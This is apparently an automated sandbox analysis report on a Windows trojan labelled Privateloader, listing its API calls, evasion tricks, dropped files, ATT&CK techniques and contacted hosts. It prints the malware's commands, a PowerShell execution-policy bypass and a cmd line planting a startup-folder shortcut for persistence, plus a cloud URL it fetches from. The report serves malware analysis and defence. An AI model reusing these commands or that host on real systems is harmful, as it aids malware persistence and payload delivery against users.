Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\InformationCheck.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5071			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4799			Jump to behavior

Source: C:\Users\Public\InformationCheck.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\file.exe	API coverage: 3.4 %
Source: C:\Users\Public\InformationCheck.exe	API coverage: 6.1 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	API coverage: 4.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep time: -14757395258967632s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978AB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7978AB7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF7978B72A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B71F4 FindFirstFileW,FindClose,	0_2_00007FF7978B71F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978ABC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7978ABC70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978BA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF7978BA874
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978AC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF7978AC7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978BA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF7978BA4F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978B6428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF7978B6428
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978BA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF7978BA350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797872F50 FindFirstFileExW,	0_2_00007FF797872F50
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_004C4005
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C494A GetFileAttributesW,FindFirstFileW,FindClose,	3_2_004C494A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_004CC2FF
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CCD14 FindFirstFileW,FindClose,	3_2_004CCD14
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_004CCD9F
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_004CF5D8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_004CF735
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004CFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_004CFA36
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004C3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_004C3CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_00F84005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8494A GetFileAttributesW,FindFirstFileW,FindClose,	8_2_00F8494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00F8C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	8_2_00F8CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8CD14 FindFirstFileW,FindClose,	8_2_00F8CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00F8F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00F8F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_00F8FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_00F83CE2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF797851D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF797851D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000001.00000002.2033706127.000001C734A55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: powershell.exe, 00000001.00000002.2033706127.000001C734A07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\Public\InformationCheck.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978C0A00 BlockInput,

0_2_00007FF7978C0A00

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978337B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF7978337B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF797855BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF797855BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978C7634 LoadLibraryA,GetProcAddress,

0_2_00007FF7978C7634

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79789D868 WaitForSingleObject,UnloadUserProfile,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,

0_2_00007FF79789D868

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978557E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7978557E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978559C8 SetUnhandledExceptionFilter,	0_2_00007FF7978559C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF797878FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF797878FE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF79786AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF79786AF58
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048A354 SetUnhandledExceptionFilter,	3_2_0048A354
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0048A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0048A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00F4A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F4A354 SetUnhandledExceptionFilter,	8_2_00F4A354

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79789CE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00007FF79789CE68

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978337B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF7978337B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978A9420 SendInput,keybd_event,

0_2_00007FF7978A9420

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF7978AD1A4 mouse_event,

0_2_00007FF7978AD1A4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\InformationCheck.exe "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"			Jump to behavior

Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Users\Public\InformationCheck.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79789C858 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00007FF79789C858

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79789D540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00007FF79789D540

Source: file.exe, 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693624835.000002B512320000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1700160371.000002B512246000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, InformationCheck.exe, SwiftWrite.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79786FD20 cpuid

0_2_00007FF79786FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF79786BEF8 GetSystemTimeAsFileTime,

0_2_00007FF79786BEF8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF797892BCF GetUserNameW,

0_2_00007FF797892BCF

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF797872650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00007FF797872650

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF797851D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF797851D80

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SwiftWrite.pif	Binary or memory string: WIN_81
Source: SwiftWrite.pif	Binary or memory string: WIN_XP
Source: SwiftWrite.pif	Binary or memory string: WIN_XPe
Source: SwiftWrite.pif	Binary or memory string: WIN_VISTA
Source: file.exe, 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pif	Binary or memory string: WIN_7
Source: SwiftWrite.pif	Binary or memory string: WIN_8
Source: file.exe, 00000000.00000003.1700160371.000002B512246000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00007FF7978C4074
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF7978C3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_00007FF7978C3940
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004D696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	3_2_004D696E
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_004D6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	3_2_004D6E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F9696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	8_2_00F9696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 8_2_00F96E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	8_2_00F96E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	2 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	211 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs	Win64.Trojan.Privateloader
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\InformationCheck.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	3%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
my.cloudme.com	83.140.241.4	true	false		unknown
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://my.cloudme.com/v1/ws2/:updatemake/:reality/reality.txt	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	file.exe, 00000000.00000003.1700160371.000002B512254000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1693624835.000002B51232E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2033706127.000001C734A92000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000002.2950931190.0000000000529000.00000002.00000001.01000000.00000007.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1809510030.000001C71DC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.1809510030.000001C71D8F2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.microsoft.co-	powershell.exe, 00000001.00000002.2021600603.000001C73479E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1809510030.000001C71C4B7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000001.00000002.1809510030.000001C71D11F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://my.cloH	powershell.exe, 00000001.00000002.1809510030.000001C71D11F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1822512403.000001C72C304000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
